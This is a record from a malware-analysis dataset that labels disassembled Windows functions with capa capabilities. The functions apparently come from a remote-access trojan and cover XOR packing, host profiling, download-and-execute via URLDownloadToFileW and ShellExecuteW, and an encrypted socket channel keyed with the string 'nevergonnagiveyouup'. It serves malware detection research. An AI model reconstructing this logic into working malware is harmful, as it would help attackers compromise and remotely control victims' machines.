joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4086cd
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406bc5
and dword [ebp - 4], 0
cmp dword [0x40fa04], 0
mov ebx, eax
jne 0x40877e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40882f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40882f
push eax
call fcn.00406b53
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40fa04], eax
call esi
push eax
call fcn.00406b53
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40fa08], eax
call esi
push eax
call fcn.00406b53
mov dword [esp], 0x40b3d0
push edi
mov dword [0x40fa0c], eax
call esi
push eax
call fcn.00406b53
pop ecx
mov dword [0x40fa14], eax
test eax, eax
je 0x40877e
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00406b53
pop ecx
mov dword [0x40fa10], eax
mov eax, dword [0x40fa10]
cmp eax, ebx
je 0x4087d6
cmp dword [0x40fa14], ebx
je 0x4087d6
push eax
call fcn.00406bce
push dword [0x40fa14]
mov esi, eax
call fcn.00406bce
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4087d6
test edi, edi
je 0x4087d6
call esi
test eax, eax
je 0x4087cd
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4087cd
test byte [ebp - 0xc], 1
jne 0x4087d6
or dword [ebp + 0x10], 0x200000
jmp 0x40880f
mov eax, dword [0x40fa08]
cmp eax, ebx
je 0x40880f
push eax
call fcn.00406bce
pop ecx
test eax, eax
je 0x40880f
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40880f
mov eax, dword [0x40fa0c]
cmp eax, ebx
je 0x40880f
push eax
call fcn.00406bce
pop ecx
test eax, eax
je 0x40880f
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40fa04]
call fcn.00406bce
pop ecx
test eax, eax
je 0x40882f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x408831
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
nop
nop
nop
pop eax
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43201e
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x40177f
Capabilities:
Create directory
Get common file path
Get hostname
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3b0
push ebx
push esi
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x18]
push edi
mov dword [ebp - 0x10], edx
call fcn.00414b96
lea ecx, [ebp - 0x14]
call fcn.00414c6a
push 0x104
lea eax, [ebp - 0x1a4]
xor esi, esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 8]
mov dword [ebp - 8], esi
lea ecx, [ebp - 0x1a4]
call fcn.004170b1
mov edx, dword [ebp - 8]
lea ecx, [ebp - 0xc]
push ecx
push 0x10ad
mov ecx, eax
mov dword [ebp - 0xc], esi
call fcn.00416e8e
pop ecx
pop ecx
lea eax, [ebp - 0x64]
mov dword [ebp - 0x64], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov esi, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x58]
shrd esi, eax, 0x14
call fcn.00414827
mov dword [ebp - 8], eax
call fcn.004145c4
mov dword [ebp - 0x1c], eax
call fcn.00414927
push ecx
mov ecx, esp
mov ebx, eax
push dword [ebp - 0x14]
call fcn.0040346a
push ecx
mov ecx, esp
push dword [ebp - 0x18]
call fcn.0040346a
push esi
push dword [ebp - 0xc]
push ecx
mov ecx, esp
push 0x41a548
call fcn.0040346a
push ecx
mov esi, esp
mov dword [ebp - 0xc], 0x10
push 8
pop ecx
xor eax, eax
lea edi, [ebp - 0x44]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x44]
mov ecx, esi
push eax
call fcn.0040346a
push dword [ebp - 8]
push dword [ebp - 0x1c]
push ebx
push 0x139
push ecx
push ecx
mov ecx, esp
call fcn.004144e2
lea ecx, [ebp - 0x98]
call fcn.004045a9
mov ebx, dword [ebp - 0x20]
mov ecx, ebx
push eax
call fcn.00405262
lea ecx, [ebp - 0x98]
call fcn.004046fc
mov eax, dword [ebp - 0x10]
xor esi, esi
cmp dword [eax + 0x3c], esi
je 0x401906
push 0x208
lea eax, [ebp - 0x3ac]
push esi
push eax
call fcn.004012cf
add esp, 0xc
lea eax, [ebp - 0x3ac]
push eax
push esi
push esi
push 0x1c
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Microsoft_Vision_
lea eax, [ebp - 0x3ac]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
lea eax, [ebp - 0x3ac]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 1
push ebx
call fcn.0040a782
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x41da74
push eax
mov ecx, ebx
call fcn.00405262
mov ecx, dword [ebp - 0x14]
call fcn.004068b7
mov ecx, dword [ebp - 0x18]
call fcn.004068b7
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401ba7
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 8], ecx
mov ecx, dword [edi + 4]
test ecx, ecx
jne 0x401be6
lea eax, [edi + 8]
push eax
lea ecx, [ebp - 4]
call fcn.00403611
lea ecx, [ebp - 4]
call fcn.00415b96
mov ecx, eax
call fcn.00415e50
mov ecx, dword [ebp - 4]
mov ebx, eax
call fcn.004068b7
jmp 0x401bed
call fcn.00415e50
mov ebx, eax
xor esi, esi
test ebx, ebx
je 0x401bff
mov ecx, dword [ebp - 8]
call fcn.0040191b
mov ebx, esi
jmp 0x401c07
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov eax, dword [edi + 4]
push esi
push 2
mov dword [ebp - 4], eax
mov dword [ebp - 0x248], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x401c5b
lea eax, [ebp - 0x248]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x401c50
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x240], eax
je 0x401c94
lea eax, [ebp - 0x248]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x401c37
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], esi
lea eax, [ebp - 4]
mov dword [ebp - 0x14], 0x41a89c
push eax
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x10], ebx
call fcn.00403611
mov ecx, esi
call fcn.004068b7
mov ecx, dword [ebp - 8]
lea eax, [ebp - 0x14]
push eax
call fcn.00405262
lea ecx, [ebp - 0x14]
call fcn.004047b5
pop edi
pop esi
pop ebx
leave
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 4]
call fcn.0040346a
mov esi, dword [ebp - 4]
jmp 0x401c5e
Function at 0x401caf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x11], 0xc7d5c7c1
push edi
mov esi, ecx
mov dword [ebp - 0xd], 0xcac897c2
lea edi, [edx + 4]
mov byte [ebp - 9], bl
mov ecx, ebx
lea eax, [ecx - 0x4e]
xor byte [ebp + ecx - 0x11], al
inc ecx
cmp ecx, 8
jb 0x401cd2
lea eax, [ebp - 0x11]
mov byte [ebp - 9], bl
push eax
lea ecx, [ebp - 8]
call fcn.004037f9
push eax
mov ecx, edi
call fcn.00403868
xor ebx, ebx
inc ebx
test eax, eax
je 0x401d09
cmp dword [0x42058c], 0
mov byte [ebp - 1], bl
je 0x401d0d
mov byte [ebp - 1], 0
mov ecx, dword [ebp - 8]
call fcn.004068b7
cmp byte [ebp - 1], 0
je 0x401d1e
push ebx
jmp 0x401d76
mov dword [ebp - 0x12], 0xc7d5c7c1
xor ecx, ecx
mov dword [ebp - 0xe], 0xd4db97c2
mov word [ebp - 0xa], 0xde
lea eax, [ecx - 0x4e]
xor byte [ebp + ecx - 0x12], al
inc ecx
cmp ecx, 9
jb 0x401d34
lea eax, [ebp - 0x12]
mov byte [ebp - 9], 0
push eax
lea ecx, [ebp - 8]
call fcn.004037f9
push eax
mov ecx, edi
call fcn.00403868
test eax, eax
je 0x401d66
cmp dword [0x42058c], 0
je 0x401d68
xor bl, bl
mov ecx, dword [ebp - 8]
call fcn.004068b7
test bl, bl
je 0x401d7e
push 0
push esi
call fcn.00413803
jmp 0x401dde
xor ebx, ebx
mov dword [ebp - 0xd], 0xc1ddcbd7
mov byte [ebp - 9], bl
mov ecx, ebx
lea eax, [ecx - 0x4e]
xor byte [ebp + ecx - 0xd], al
inc ecx
cmp ecx, 4
jb 0x401d8c
lea eax, [ebp - 0xd]
mov byte [ebp - 9], bl
push eax
lea ecx, [ebp - 8]
call fcn.004037f9
push eax
mov ecx, edi
call fcn.00403868
mov ecx, dword [ebp - 8]
mov esi, eax
call fcn.004068b7
test esi, esi
je 0x401dd0
mov ecx, 0x420568
mov dword [0x42058c], ebx
call fcn.0041356e
jmp 0x401dde
push ecx
mov ecx, esp
push edi
call fcn.004038bb
call fcn.004135e2
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401e4c
Capabilities:
Check if file exists
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
and dword [ebp - 4], 0
lea ecx, [ebp - 8]
push ebx
push esi
push edi
mov edi, edx
lea ebx, [edi + 8]
push ebx
call fcn.00403611
lea ecx, [ebp - 8]
call fcn.00403649
mov ecx, dword [ebp - 8]
mov esi, eax
call fcn.004068b7
test esi, esi
jne 0x401ecb
lea eax, [ebp - 0x230]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x230]
push eax
lea ecx, [ebp - 8]
call fcn.0040346a
push eax
lea ecx, [ebp - 4]
call fcn.004035de
mov ecx, dword [ebp - 8]
call fcn.004068b7
push dword [edi + 4]
lea ecx, [ebp - 4]
call fcn.00403591
push str..exe
mov ecx, eax
call fcn.004034f3
jmp 0x401ee8
push ebx
lea ecx, [ebp - 8]
call fcn.00403611
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 4]
call fcn.004035de
mov ecx, dword [ebp - 8]
call fcn.004068b7
xor ebx, ebx
cmp dword [edi + 0xc], ebx
jne 0x401f20
push ecx
mov esi, esp
mov dword [esi], ebx
cmp dword [ebp - 4], ebx
je 0x401f1a
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406875
mov dword [esi], eax
push dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
call fcn.004150e5
pop ecx
push ecx
push ecx
mov esi, esp
mov dword [esi], ebx
cmp dword [ebp - 4], 0
je 0x401f4d
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406875
mov dword [esi], eax
push dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea ecx, [ebp - 0x24]
call fcn.00414dd9
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x401f8c
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
xor ecx, ecx
mov esi, eax
cmp eax, 0xffffffff
cmove esi, ecx
cmp eax, 0xffffffff
mov dword [ebp - 0x1c], esi
setne cl
jmp 0x401f9f
push ecx
push 0x40000000
lea ecx, [ebp - 0x24]
call fcn.00415134
mov esi, dword [ebp - 0x1c]
mov ecx, eax
test ecx, ecx
je 0x401fd2
lea eax, [edi + 0x18]
push eax
lea ecx, [ebp - 0xc]
call fcn.004033e0
push ecx
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x24]
call fcn.00415173
lea ecx, [ebp - 0xc]
call fcn.00403457
test esi, esi
je 0x401fd2
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x1c], ebx
cmp byte [edi + 0x14], 0
je 0x401ff3
mov eax, dword [edi + 0xc]
cmp eax, dword [edi + 0x10]
jne 0x401ff3
push 5
push ebx
push ebx
push dword [ebp - 4]
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x24]
call fcn.00414e30
mov ecx, dword [ebp - 4]
call fcn.004068b7
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40205e
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [ebp - 8]
push 0x1a
pop edx
call fcn.00414891
push 0x41a58c
lea ecx, [ebp - 8]
call fcn.004034f3
push 0xa
pop edx
lea ecx, [ebp - 0xc]
mov esi, eax
call fcn.00403700
push eax
mov ecx, esi
call fcn.004034b6
mov ecx, dword [ebp - 0xc]
call fcn.004068b7
mov ebx, dword [ebp + 8]
lea ecx, [ebp + 8]
add ebx, 4
push ebx
call fcn.00403611
mov esi, dword [ebp + 8]
test esi, esi
je 0x4020bd
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
jmp 0x4020bf
xor eax, eax
push eax
lea ecx, [ebp + 8]
call fcn.0040346a
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 8]
call fcn.004034b6
mov ecx, dword [ebp + 8]
call fcn.004068b7
mov ecx, esi
call fcn.004068b7
mov esi, dword [ebp - 8]
lea ecx, [ebp + 8]
push ebx
call fcn.00403611
xor ebx, ebx
push ebx
push ebx
push esi
push dword [ebp + 8]
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ecx, dword [ebp + 8]
mov esi, eax
call fcn.004068b7
test esi, esi
je 0x402115
mov dword [ebp - 0xc], 1
jmp 0x402137
push 5
push ebx
push ebx
push dword [ebp - 8]
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0xc], 2
cmp eax, 0x20
jbe 0x402137
mov dword [ebp - 0xc], ebx
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x41a884
push eax
mov ecx, edi
call fcn.00405262
mov ecx, dword [ebp - 8]
call fcn.004068b7
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402156
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov ebx, dword [eax + 4]
mov edi, ecx
lea ecx, [ebp + 8]
lea eax, [edi + 4]
push eax
call fcn.004038bb
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4021c4
lea eax, [ebp - 8]
mov dword [ebp - 0x20], 1
push eax
xor ecx, ecx
mov dword [ebp - 0x1c], 6
lea eax, [ebp - 0x28]
mov dword [ebp - 8], ecx
push eax
push ecx
push dword [ebp + 8]
xorps xmm0, xmm0
mov dword [ebp - 0x28], ecx
movlpd qword [ebp - 0x18], xmm0
movlpd qword [ebp - 0x10], xmm0
mov dword [ebp - 0x24], ecx
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x18]
mov esi, dword [eax + 4]
push 0xc
pop ecx
call fcn.00406944
push eax
push 0x419ccf
mov ecx, 0x55416c
mov dword [eax], 0x554160
mov dword [eax + 4], 0x5540a0
mov dword [eax + 8], edi
mov dword [0x554160], ebx
mov dword [0x554164], esi
call fcn.0040a66f
mov ecx, dword [ebp + 8]
call fcn.004068b7
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402205
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
push edi
mov ebx, dword [eax + 4]
lea eax, [ecx + 4]
push eax
lea ecx, [ebp + 8]
call fcn.004038bb
push 0x108
call fcn.00401000
mov edi, eax
pop ecx
test edi, edi
je 0x402257
cmp dword [ebp + 8], 0
je 0x402257
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
xor eax, eax
mov dword [edi + 0x104], ebx
push eax
push eax
push edi
push 0x414099
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x40225e
push edi
call fcn.00401014
pop ecx
mov ecx, dword [ebp + 8]
call fcn.004068b7
pop edi
pop ebx
pop ebp
ret
Function at 0x4036b3
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
lea eax, [ebp - 0x400]
push esi
push edi
push 0x400
push 0
push eax
mov esi, edx
mov edi, ecx
call fcn.004012cf
add esp, 0xc
lea eax, [ebp - 0x400]
push 0x1ff
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x400]
mov ecx, edi
push eax
call fcn.0040346a
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x40577e
Capabilities:
Initialize winsock library

Disassembly:
push esi
mov esi, ecx
push edi
xor edi, edi
push edi
lea ecx, [esi + 0x1dc]
mov dword [esi], edi
mov dword [esi + 0x14], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
call fcn.004152a3
lea eax, [esi + 0x3c]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
or dword [esi + 0x10], 0xffffffff
mov eax, esi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x28], edi
pop edi
pop esi
ret

Function at 0x4057b9
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
lea eax, [ebp + 8]
xor ebx, ebx
push eax
mov edi, ecx
mov dword [ebp - 4], ebx
call fcn.00403881
mov eax, dword [ebp + 0xc]
lea ecx, [edi + 0x1dc]
mov dword [edi + 8], eax
call fcn.004152df
lea eax, [ebp - 4]
mov dword [ebp - 0x24], ebx
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x20], ebx
push eax
push 0
push dword [ebp + 8]
xorps xmm0, xmm0
mov dword [ebp - 0x18], 6
inc ebx
movlpd qword [ebp - 0x14], xmm0
movlpd qword [ebp - 0xc], xmm0
mov dword [ebp - 0x1c], ebx
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x40589c
mov eax, dword [ebp - 4]
push 0
push ebx
push 2
mov esi, dword [eax + 0x18]
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
pop eax
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [edi + 0x10], eax
cmp eax, 0xffffffff
je 0x40589c
mov eax, dword [esi + 4]
lea esi, [edi + 0x1cc]
push 2
mov dword [edi + 0x1d0], eax
pop eax
push dword [ebp + 0xc]
mov word [esi], ax
call dword [sym.imp.WS2_32.dll_htons]
push dword [ebp - 4]
mov word [edi + 0x1ce], ax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
push str.Ws2_32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.connect
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor eax, eax
push eax
push eax
push eax
push eax
push 0x10
push esi
push dword [edi + 0x10]
call dword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
jne 0x4058af
or dword [edi + 0x10], eax
xor ebx, ebx
mov ecx, dword [ebp + 8]
call fcn.004068b7
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 8
push dword [edi + 0x1dc]
mov dword [edi + 0xc], ebx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x40589e
Function at 0x40605b
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10038
call fcn.00401240
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x10], 0xffffffff
je 0x406235
push 4
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0xea60
push eax
push 0x1006
mov esi, 0xffff
push esi
push dword [ebx + 0x10]
call dword [sym.imp.WS2_32.dll_setsockopt]
push esi
xor edi, edi
lea eax, [ebp - 0x10034]
push edi
push eax
call fcn.004012cf
add esp, 0xc
lea ecx, [ebp - 8]
push str.nevergonnagiveyouup
call fcn.004037f9
mov esi, eax
mov dword [ebp - 0x1c], edi
mov ecx, esi
mov dword [ebp - 0x18], edi
call fcn.0040398e
push eax
push dword [esi]
lea ecx, [ebp - 0x1c]
call fcn.004032d4
mov ecx, dword [ebp - 8]
call fcn.004068b7
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
push edi
push 0xc
lea eax, [ebp - 0x10034]
push eax
push dword [ebx + 0x10]
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
cmp edi, 0xc
jne 0x40618a
and dword [ebp - 0x14], 0
lea ecx, [ebp - 0x14]
and dword [ebp - 0x10], 0
push eax
lea eax, [ebp - 0x10034]
push eax
call fcn.004032d4
push ecx
push ecx
lea eax, [ebp - 0x14]
mov ecx, esp
push eax
call fcn.004033e0
push ecx
push ecx
lea eax, [ebp - 0x1c]
mov ecx, esp
push eax
call fcn.004033e0
lea ecx, [ebp - 0x30]
call fcn.00406a75
mov eax, dword [ebp - 0x30]
add esp, 0x10
mov eax, dword [eax + 4]
lea esi, [eax + 0xc]
test eax, eax
je 0x406170
push 0
mov eax, esi
sub eax, edi
push eax
lea eax, [ebp - 0x10034]
add eax, edi
push eax
push dword [ebx + 0x10]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x406215
add edi, eax
cmp esi, edi
jne 0x406148
lea ecx, [ebp - 0x30]
call fcn.00403457
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x406184
call fcn.00406955
and dword [ebp - 0x14], 0
jmp 0x406193
cmp edi, 0xffffffff
je 0x406229
push edi
lea eax, [ebp - 0x10034]
push eax
lea ecx, [ebp - 0xc]
call fcn.004032d4
push ecx
push ecx
lea eax, [ebp - 0xc]
mov ecx, esp
push eax
call fcn.004033e0
push ecx
push ecx
lea eax, [ebp - 0x1c]
mov ecx, esp
push eax
call fcn.004033e0
lea ecx, [ebp - 0x28]
call fcn.00406a75
add esp, 0x10
lea ecx, [ebx + 0x14]
call fcn.004032bd
push edi
push dword [ebp - 0x28]
lea ecx, [ebx + 0x14]
call fcn.004032d4
mov ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x4061e8
call fcn.00406955
and dword [ebp - 0xc], 0
lea ecx, [ebp - 0x28]
and dword [ebp - 8], 0
call fcn.004032bd
push dword [ebp + 8]
mov ecx, ebx
call fcn.004058c0
lea ecx, [ebp - 0x28]
call fcn.00403457
test edi, edi
jle 0x406229
xor edi, edi
jmp 0x4060e0
lea ecx, [ebp - 0x30]
call fcn.00403457
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x406229
call fcn.00406955
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x406235
call fcn.00406955
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40623c
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov edi, ecx
cmp dword [edi + 0x10], 0xffffffff
jne 0x406254
xor eax, eax
jmp 0x4062d6
push str.nevergonnagiveyouup
lea ecx, [ebp - 8]
call fcn.004037f9
mov esi, eax
xor ebx, ebx
mov ecx, esi
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
call fcn.0040398e
push eax
push dword [esi]
lea ecx, [ebp - 0x14]
call fcn.004032d4
mov ecx, dword [ebp - 8]
call fcn.004068b7
mov esi, dword [ebp + 8]
push ecx
push ecx
mov ecx, esp
push esi
call fcn.004033e0
push ecx
push ecx
lea eax, [ebp - 0x14]
mov ecx, esp
push eax
call fcn.004033e0
lea ecx, [ebp - 0xc]
call fcn.00406a75
add esp, 0x10
push ebx
push dword [esi + 4]
push dword [ebp - 0xc]
push dword [edi + 0x10]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
lea ecx, [ebp - 0xc]
setne bl
call fcn.00403457
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x4062d4
call fcn.00406955
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x406b25
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, ecx
push esi
xor esi, esi
mov dword [ebp - 4], ebx
mov dword [ebp - 8], esi
cmp dword [ebx + 0xc], esi
je 0x406c76
cmp dword [ebx + 0x10], esi
je 0x406c76
mov dword [ebx + 4], esi
mov eax, esi
mov dword [ebx], esi
mov ecx, dword [ebx + 0xc]
movzx edx, al
mov al, byte [ebx]
mov byte [edx + ecx], al
mov eax, dword [ebx]
inc eax
mov dword [ebx], eax
cmp eax, 0x100
jb 0x406b50
mov dword [ebx], esi
mov eax, esi
push edi
movzx esi, al
xor edx, edx
mov ecx, 0xfa
mov edi, dword [ebx + 0xc]
div ecx
mov eax, dword [ebx + 0x10]
movsx ecx, byte [edx + eax]
movsx eax, byte [esi + edi]
add ecx, eax
add dword [ebx + 4], ecx
mov eax, dword [ebx + 4]
movzx eax, al
mov al, byte [eax + edi]
xor byte [esi + edi], al
mov edx, dword [ebx + 0xc]
movzx eax, byte [ebx]
movzx ecx, byte [ebx + 4]
mov al, byte [eax + edx]
xor byte [ecx + edx], al
mov edx, dword [ebx + 0xc]
movzx eax, byte [ebx + 4]
movzx ecx, byte [ebx]
mov al, byte [eax + edx]
xor byte [ecx + edx], al
mov eax, dword [ebx]
inc eax
mov dword [ebx], eax
cmp eax, 0x100
jb 0x406b6c
xor eax, eax
mov dword [ebx], eax
mov dword [ebx + 4], eax
cmp dword [ebx + 8], eax
jbe 0x406c75
mov ecx, eax
mov edi, dword [ebp - 4]
lea eax, [ecx + 1]
mov dword [ebx], eax
mov edx, dword [ebx + 0xc]
movzx ecx, al
mov bl, byte [ecx + edx]
movsx eax, bl
add dword [edi + 4], eax
mov dword [ebp - 0x10], eax
mov eax, dword [edi + 4]
movzx eax, al
mov al, byte [eax + edx]
mov byte [ecx + edx], al
movzx ecx, byte [edi + 4]
movsx esi, al
mov eax, dword [edi + 0xc]
mov dword [ebp - 0xc], esi
mov byte [ecx + eax], bl
mov ebx, edi
mov esi, dword [ebx + 4]
mov ecx, esi
mov edx, dword [ebx]
mov eax, edx
mov edi, dword [ebx + 0xc]
shl eax, 5
shr ecx, 3
xor ecx, eax
shr edx, 3
movzx eax, cl
movsx ecx, byte [eax + edi]
mov eax, esi
shl eax, 5
xor edx, eax
movzx eax, dl
mov edx, dword [ebp - 0xc]
movsx eax, byte [eax + edi]
add ecx, eax
mov eax, dword [ebp - 0x10]
xor ecx, 0xffffffaa
add eax, edx
movzx ecx, cl
movzx eax, al
mov cl, byte [ecx + edi]
add cl, byte [eax + edi]
lea eax, [esi + edx]
mov edx, dword [ebp + 8]
movzx eax, al
xor cl, byte [eax + edi]
mov eax, dword [ebp - 8]
xor byte [eax + edx], cl
inc eax
inc dword [ebx]
mov ecx, dword [ebx]
mov dword [ebp - 8], eax
cmp eax, dword [ebx + 8]
jb 0x406bd5
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x406cb6
Capabilities:
Terminate process

Disassembly:
push ebx
push edi
mov edi, ecx
mov ecx, dword [edi + 8]
call fcn.00406d32
mov edx, dword [edi + 8]
mov ecx, edi
call fcn.00406d4b
cmp dword [edi + 0x38], 0
je 0x406cda
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ebx, dword [edi + 4]
test ebx, ebx
je 0x406d01
push esi
push dword [ebx + 0xc]
mov esi, dword [ebx]
call fcn.00401014
push ebx
call fcn.00401014
mov ebx, esi
pop ecx
pop ecx
test esi, esi
jne 0x406ce2
and dword [edi + 0x3c], esi
and dword [edi + 4], esi
pop esi
push edi
call fcn.00401014
pop ecx
pop edi
pop ebx
ret